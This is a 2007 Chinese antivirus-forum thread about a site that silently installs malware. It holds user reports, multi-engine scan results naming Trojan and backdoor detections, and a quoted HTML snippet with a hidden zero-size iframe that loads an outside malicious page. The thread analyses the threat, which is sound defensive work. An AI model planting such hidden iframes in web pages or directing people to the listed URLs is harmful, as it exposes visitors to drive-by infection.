费尔报的一个毒网

费饭饭

http://www.sooyle.com/popo/?id=4 ... .3x4x.net/index.php

会自动下载病毒，

欠妳緈諨

NOD蜘蛛金山都不报！

mofunzone

被iframe
http://www.if56.cn/lll.htm
不过好像是个流量统计，要求加载activex之后就没了。。
p.s lz你那附件如果有杀毒软件能杀出来我就服了

[ 本帖最后由 mofunzone 于 2007-4-24 21:46 编辑 ]

dikex

样本送到

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\morgan\My Documents\system.rar'
C:\Documents and Settings\morgan\My Documents\
  system.rar
    [0] Archive type: RAR
    --> system.exe
        [DETECTION] Is the Trojan horse TR/Crypt.NSAnti.Gen
        [WARNING]   Infected files in archives cannot be repaired!
        [WARNING]   The file was ignored!
File:         system.rar
Status:         INFECTED/MALWARE
MD5         0f5c76533a9ab7ac68e6c16e11be02e3
Packers detected:         -

Scanner results
Scan taken on 25 Apr 2007 05:51:34 (GMT)
A-Squared         Found nothing
AntiVir         Found TR/Crypt.NSAnti.Gen
ArcaVir         Found nothing
Avast         Found Win32:Detnat-AZ
AVG Antivirus         Found nothing
BitDefender         Found Trojan.NSAnti.B
ClamAV         Found nothing
Dr.Web         Found nothing
F-Prot Antivirus         Found nothing
F-Secure Anti-Virus         Found nothing
Fortinet         Found nothing
Kaspersky Anti-Virus         Found nothing
NOD32         Found Win32/Pacex.Gen
Norman Virus Control         Found nothing
Panda Antivirus         Found nothing
Rising Antivirus         Found nothing
VirusBuster         Found nothing
VBA32         Found Backdoor.PcClient.22 (probable variant)

[ 本帖最后由 mofunzone 于 2007-4-24 21:52 编辑 ]

jlennon

Orca

原帖由 jlennon 于 2007-4-25 14:02 发表
59664

59665

这东西的行为极像我用瑞星时中的威金...-

[ 本帖最后由 Orca 于 2007-4-25 18:04 编辑 ]

451102995

3X4X成人论坛......用火狐进去~~~~没任何反应~~~也没中任何病毒~~~~页面显示正常~~~~

alexliu

傻猪猪米走鸡

代码：

<br>
  <div id="Layer1">
<iframe src="http://www.if56.cn/lll.htm" width="0" height="0" frameborder="0"></iframe>
  <script src='http://s113.cnzz.com/stat.php?id=435992&web_id=435992' language='JavaScript' charset='gb2312'></script><script src="http://count35.51yes.com/click.aspx?id=353693296&logo=1" type="text/javascript"></script></div></div>
<div class="maintable" style="color: #666; clear: both;">
<br>